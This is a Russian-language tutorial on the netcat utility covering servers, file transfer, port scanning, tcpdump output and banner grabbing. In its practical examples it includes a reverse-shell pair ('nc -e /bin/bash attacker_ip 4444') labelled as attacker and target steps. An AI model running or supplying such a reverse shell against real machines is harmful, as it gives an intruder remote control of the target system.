Утилита netcat
Отредактирована 04.12.2025
Основные возможности netcat:
# Создать сервер на порту 9999 nc -l -p 9999 # С сервером на конкретном интерфейсе nc -l -p 9999 -s 192.168.1.100
# Подключиться к серверу nc example.com 80 nc 192.168.1.100 9999
# На принимающей стороне nc -l -p 9999 > received_file.txt # На отправляющей стороне nc 192.168.1.100 9999 < file_to_send.txt
# Сканирование диапазона портов nc -z example.com 20-80 # Быстрое сканирование common портов nc -z example.com 22 80 443 21 25
# На узле B, запустите сетевой анализатор tcpdump, и сразу запишите данные в файл capture, для дальнейшего анализа sudo tcpdump -i any port 80 -nn > capture
На узле A сгенерируйте трафик, IP-адрес 192.168.0.246 на узле A nc 10.10.1.115 80
cat capture 11:45:27.840261 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [S], seq 435846430, win 64240, options [mss 1460,sackOK,TS val 3935163726 ecr 0,nop,wscale 7], length 0 11:45:27.840310 eth0 Out IP 10.10.1.115.80 > 192.168.0.246.46132: Flags [S.], seq 3445525547, ack 435846431, win 65160, options [mss 1460,sackOK,TS val 3678441990 ecr 3935163726,nop,wscale 7], length 0 11:45:27.843709 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 3935163729 ecr 3678441990], length 0 11:45:33.570723 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [F.], seq 1, ack 1, win 502, options [nop,nop,TS val 3935169456 ecr 3678441990], length 0 11:45:33.570820 eth0 Out IP 10.10.1.115.80 > 192.168.0.246.46132: Flags [F.], seq 1, ack 2, win 510, options [nop,nop,TS val 3678447720 ecr 3935169456], length 0 11:45:33.574269 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [.], ack 2, win 502, options [nop,nop,TS val 3935169460 ecr 3678447720], length 0
nc -zv 10.10.1.115 443
- nc: connect to 10.10.1.115 port 443 (tcp) failed: Connection refused (В соединении отказано!)
- Connection to 10.10.1.115 443 port [tcp/*] succeeded! (Порт доступен!)
Практические примеры использования netcat:
# Проверить доступность веб-сервера echo "GET /" | nc example.com 80 # Проверить SMTP сервер nc mail.example.com 25
# На сервере nc -l -p 9999 # На клиенте nc server_ip 9999
# Прослушивать порт и перенаправлять на другой сервер nc -l -p 8080 -c "nc example.com 80"
# На атакующей машине (прослушивание) nc -l -p 4444 # На целевой машине (отправка оболочки) nc -e /bin/bash attacker_ip 4444
# Ручная отправка HTTP-запроса nc example.com 80 GET / HTTP/1.1 Host: example.com # Или в одну строку echo -e "GET / HTTP/1.1\nHost: example.com\n" | nc example.com 80
# UDP сервер nc -u -l -p 9999 # UDP клиент nc -u server_ip 9999
Ключевые параметры netcat:
- -l - режим прослушивания (сервер);
- -p <port> - указать порт;
- -z - режим сканирования (без отправки данных);
- -v - подробный вывод;
- -vv - очень подробный вывод;
- -u - использовать UDP вместо TCP;
- -w <timeout> - таймаут соединения;
- -e <program> - выполнить программу после соединения;
- -s <ip> - указать исходный IP;
- -n - не использовать DNS.
Расширенные возможности netcat:
# Постоянно слушать порт while true; do nc -l -p 9999; done
# Создать туннель между двумя портами nc -l -p 9999 | nc example.com 80
# Получить баннер службы nc -v example.com 22 nc -v example.com 80
if nc -z example.com 80 2>/dev/null; then echo "Порт 80 открыт" else echo "Порт 80 закрыт" fi
#!/bin/bash for port in 22 80 443 3306; do nc -z localhost $port && echo "Порт $port: ОТКРЫТ" || echo "Порт $port: ЗАКРЫТ" done
Области применения netcat:
- Сетевая диагностика и отладка;
- Тестирование фаерволов и правил;
- Передача файлов между системами;
- Портное сканирование;
- Создание прототипов сетевых служб;
- Автоматизация сетевых задач;
- Пентестинг и безопасность.
- nc - традиционная версия;
- ncat - улучшенная версия от Nmap;
- netcat-openbsd - версия из OpenBSD;
- socat - более продвинутая альтернатива.